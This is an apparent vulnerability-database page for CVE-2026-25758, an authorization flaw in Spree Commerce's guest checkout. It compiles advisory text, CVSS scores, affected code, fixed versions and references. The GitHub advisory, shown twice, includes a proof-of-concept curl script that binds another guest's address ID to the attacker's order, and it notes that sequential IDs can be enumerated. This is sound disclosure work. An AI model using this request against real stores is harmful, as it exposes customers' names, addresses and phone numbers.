CVE-2026-25758
Spree allows unauthenticated users can access all guest addresses
Spree is an open source e-commerce solution built with Ruby on Rails. A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions. This vulnerability is fixed in 4.10.3, 5.0.8, 5.1.10, 5.2.7, and 5.3.2.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.7
Spree allows unauthenticated users can access all guest addresses
Spree is an open source e-commerce solution built with Ruby on Rails. A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions. This vulnerability is fixed in 4.10.3, 5.0.8, 5.1.10, 5.2.7, and 5.3.2.
- Record
CVE-2026-25758- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-639, CWE-284
- Updated
- 2026-11-02
EUVDEUVD-2026-5563
7.7
Spree is an open source e-commerce solution built with Ruby on Rails. A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions. This vulnerability is fixed in 4.10.3, 5.0.8, 5.1.10, 5.2.7, and 5.3.2.
- Record
EUVD-2026-5563- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-87fh-rc96-6fr6
7.7
Unauthenticated Spree Commerce users can access all guest addresses
Summary
A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions.
Impact
This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).
Unauthenticated users can access all guest addresses (GHSL-2026-027)
The vulnerability stems from incomplete authorization validation in Spree's checkout address assignment logic. While nested address attributes (bill_address_attributes[id] and ship_address_attributes[id]) are properly validated through validate_address_ownership, plain ID parameters (bill_address_id and ship_address_id) bypass this check entirely. Since Spree's address IDs are sequential numbers, an attacker might get all guest addresses by simply enumerating over them.
Affected Code Components
-
Permitted Attributes (
core/lib/spree/permitted_attributes.rb:92–96)- Allows
bill_address_idandship_address_idas permitted parameters without validation
- Allows
-
Checkout Update (
core/app/models/spree/order/checkout.rb:241–254)- Applies permitted parameters directly to the Order model via
update_from_params
- Applies permitted parameters directly to the Order model via
-
Incomplete Ownership Validation (
core/app/services/spree/checkout/update.rb:33–48)validate_address_ownershiponly validates nested attributes structure- Does NOT validate plain
bill_address_id/ship_address_idfields
-
Vulnerable Assignment Logic (
core/app/models/spree/order/address_book.rb:16–23, 31–38)
Both setters check that: address.user_id == order.user_id. For guest orders: nil == nil → TRUE ✓ (bypass!)
Proof of Concept
Precondition: One guest address has to exist in Spree's database. (E.g. Create an order with a guest account and note the ID from the spree_addresses table. E.g. 3)
As a guest user:
- Put one product in the cart and go to checkout.
- Fill in some address/phone number and continue.
- Modify this script containing a curl request with current values.
#!/bin/bash
ATTACKER_ORDER_TOKEN="" # Taken from the URL
VICTIM_ADDRESS_ID="3" # As noted from the database
CSRF_TOKEN="" # From page source; `content` value from meta param `csrf-token`.
SESSION_COOKIE="token=...; _my_store_session=..." # from the browsers cookie store.
curl -i -X POST \
-H "x-csrf-token: ${CSRF_TOKEN}" \
-H "Content-Type: application/x-www-form-urlencoded;charset=UTF-8" \
-b "${SESSION_COOKIE}" \
--data-urlencode "_method=patch" \
--data-urlencode "authenticity_token=${CSRF_TOKEN}" \
--data-urlencode "order[ship_address_id]=${VICTIM_ADDRESS_ID}" \
"http://localhost:3000/checkout/${ATTACKER_ORDER_TOKEN}/update/address"
Expected Result: Attacker's order now references victim's address. Through that the attacker has all address details in full display. This…
- Record
GHSA-87fh-rc96-6fr6- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-284, CWE-639
- Updated
- 2026-11-02
NVD
7.7
Spree is an open source e-commerce solution built with Ruby on Rails. A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions. This vulnerability is fixed in 4.10.3, 5.0.8, 5.1.10, 5.2.7, and 5.3.2.
- Record
CVE-2026-25758- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-284, CWE-639
- Updated
- 2026-11-02
OSV
7.7
Spree allows unauthenticated users can access all guest addresses
Spree is an open source e-commerce solution built with Ruby on Rails. A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions. This vulnerability is fixed in 4.10.3, 5.0.8, 5.1.10, 5.2.7, and 5.3.2.
- Record
CVE-2026-25758- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-284, CWE-639
- Updated
- 2026-11-02
OSVGHSA-87fh-rc96-6fr6
7.7
Unauthenticated Spree Commerce users can access all guest addresses
Summary
A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions.
Impact
This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).
Unauthenticated users can access all guest addresses (GHSL-2026-027)
The vulnerability stems from incomplete authorization validation in Spree's checkout address assignment logic. While nested address attributes (bill_address_attributes[id] and ship_address_attributes[id]) are properly validated through validate_address_ownership, plain ID parameters (bill_address_id and ship_address_id) bypass this check entirely. Since Spree's address IDs are sequential numbers, an attacker might get all guest addresses by simply enumerating over them.
Affected Code Components
-
Permitted Attributes (
core/lib/spree/permitted_attributes.rb:92–96)- Allows
bill_address_idandship_address_idas permitted parameters without validation
- Allows
-
Checkout Update (
core/app/models/spree/order/checkout.rb:241–254)- Applies permitted parameters directly to the Order model via
update_from_params
- Applies permitted parameters directly to the Order model via
-
Incomplete Ownership Validation (
core/app/services/spree/checkout/update.rb:33–48)validate_address_ownershiponly validates nested attributes structure- Does NOT validate plain
bill_address_id/ship_address_idfields
-
Vulnerable Assignment Logic (
core/app/models/spree/order/address_book.rb:16–23, 31–38)
Both setters check that: address.user_id == order.user_id. For guest orders: nil == nil → TRUE ✓ (bypass!)
Proof of Concept
Precondition: One guest address has to exist in Spree's database. (E.g. Create an order with a guest account and note the ID from the spree_addresses table. E.g. 3)
As a guest user:
- Put one product in the cart and go to checkout.
- Fill in some address/phone number and continue.
- Modify this script containing a curl request with current values.
#!/bin/bash
ATTACKER_ORDER_TOKEN="" # Taken from the URL
VICTIM_ADDRESS_ID="3" # As noted from the database
CSRF_TOKEN="" # From page source; `content` value from meta param `csrf-token`.
SESSION_COOKIE="token=...; _my_store_session=..." # from the browsers cookie store.
curl -i -X POST \
-H "x-csrf-token: ${CSRF_TOKEN}" \
-H "Content-Type: application/x-www-form-urlencoded;charset=UTF-8" \
-b "${SESSION_COOKIE}" \
--data-urlencode "_method=patch" \
--data-urlencode "authenticity_token=${CSRF_TOKEN}" \
--data-urlencode "order[ship_address_id]=${VICTIM_ADDRESS_ID}" \
"http://localhost:3000/checkout/${ATTACKER_ORDER_TOKEN}/update/address"
Expected Result: Attacker's order now references victim's address. Through that the attacker has all address details in full display. This…
- Record
GHSA-87fh-rc96-6fr6- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-284, CWE-639
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
spree_apiRubyGems |
before 4.10.3 | 4.10.3 |
spree_apiRubyGems |
5.0.0 up to 5.0.8 | 5.0.8 |
spree_apiRubyGems |
5.1.0 up to 5.1.10 | 5.1.10 |
spree_apiRubyGems |
5.2.0 up to 5.2.7 | 5.2.7 |
spree_apiRubyGems |
5.3.0 up to 5.3.2 | 5.3.2 |
spree_apiRubyGems |
before 4.10.3, plus listed versions 0.30.00.30.0.beta10.30.10.30.20.40.0 Show 45 moreShow less0.40.10.40.20.40.30.40.40.50.00.50.10.50.20.50.30.50.40.60.00.60.0.RC10.60.10.60.20.60.30.60.40.60.50.60.60.70.00.70.0.rc20.70.10.70.20.70.30.70.40.70.50.70.60.70.70.70.RC11.0.01.0.0.rc11.0.0.rc21.0.0.rc31.0.0.rc41.0.11.0.21.0.31.0.41.0.61.0.71.1.01.1.0.rc11.1.0.rc21.1.11.1.21.1.2.rc11.1.3 |
4.10.3 |
spree_apiRubyGems |
5.0.0 up to 5.0.8, plus listed versions 5.0.15.0.25.0.35.0.45.0.55.0.65.0.7 |
5.0.8 |
spree_apiRubyGems |
5.1.0 up to 5.1.10, plus listed versions 5.1.15.1.25.1.35.1.45.1.5 Show 4 moreShow less5.1.65.1.75.1.85.1.9 |
5.1.10 |
spree_apiRubyGems |
5.2.0 up to 5.2.7, plus listed versions 5.2.15.2.25.2.35.2.45.2.55.2.6 |
5.2.7 |
spree_apiRubyGems |
5.3.0 up to 5.3.2, plus listed versions 5.3.1 |
5.3.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-25758 is a high vulnerability (CVSS 7.7) in Spree, published February 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.67%, the 52nd percentile. Fixed in spree_api 4.10.3.
References
github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6
github.com/spree/spree/commit/15619618e43b367617ec8d2d4aafc5e54fa7b734
github.com/spree/spree/commit/29282d1565ba4f7bc2bbc47d550e2c0c6d0ae59f
github.com/spree/spree/commit/6650f96356faa0d16c05bcb516f1ffd5641741b8
github.com/spree/spree/commit/902d301ac83fd2047db1b9a3a99545162860f748
github.com/spree/spree/commit/ff7cfcfcfe0c40c60d03317e1d0ee361c6a6b054
Show 9 moreShow less
github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb
github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb
github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb
github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb
nvd.nist.gov/vuln/detail/CVE-2026-25758
github.com/rubysec/ruby-advisory-db/blob/master/gems/spree_api/CVE-2026-25758.yml
github.com/advisories/GHSA-87fh-rc96-6fr6
github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25758.json
github.com/spree/spree
Left out here: 272 versions and the rest of 2 source descriptions. The JSON record has them.